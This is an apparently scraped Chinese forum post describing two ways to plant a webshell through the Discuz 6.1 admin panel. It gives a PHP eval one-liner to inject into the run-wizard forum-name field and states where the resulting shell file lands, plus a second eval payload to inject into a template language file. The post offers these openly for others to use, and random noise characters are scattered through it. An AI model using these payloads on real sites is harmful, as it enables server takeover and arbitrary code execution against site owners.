discuz6.1后台拿shell方法

admin

discuz6.1两种方法后台拿shell
好多朋友说discuz6.1后台不会拿shell,在前段时间这些都是说不公布的东西,我发出来给大家测试一下
2 {8 ?1 p7 Y2 w$ a; J9 S1:
" H; Y$ _+ Z" r$ a. ghttp://127.0.0.1/discuz/admincp. ... zard&frames=yes
* }) _. p  a1 ^9 a, E2 |admincp.php?action=runwizard&frames=yes点击下一步然后再论坛名称的地方插入webshell
3 T: @. v7 R  e( a! g% Q<?php eval($_POST[cmd]);?>
后台webshell地址：http://127.0.0.1/discuz/forumdata/logs/runwizardlog.php
3 q( Q  H) W6 C9 V* ~( }3 d- g, }

2:后台模板管理--默认模板套系--详情
templates/default/actions.lang.php
6 Y* D" [7 m. m/ S1 n0 wjhackj\\');eval($_POST[cmd])?>;//
1 f/ T! Y, H* D) w1 D3 c
利用很简单,聪明的人一看就懂了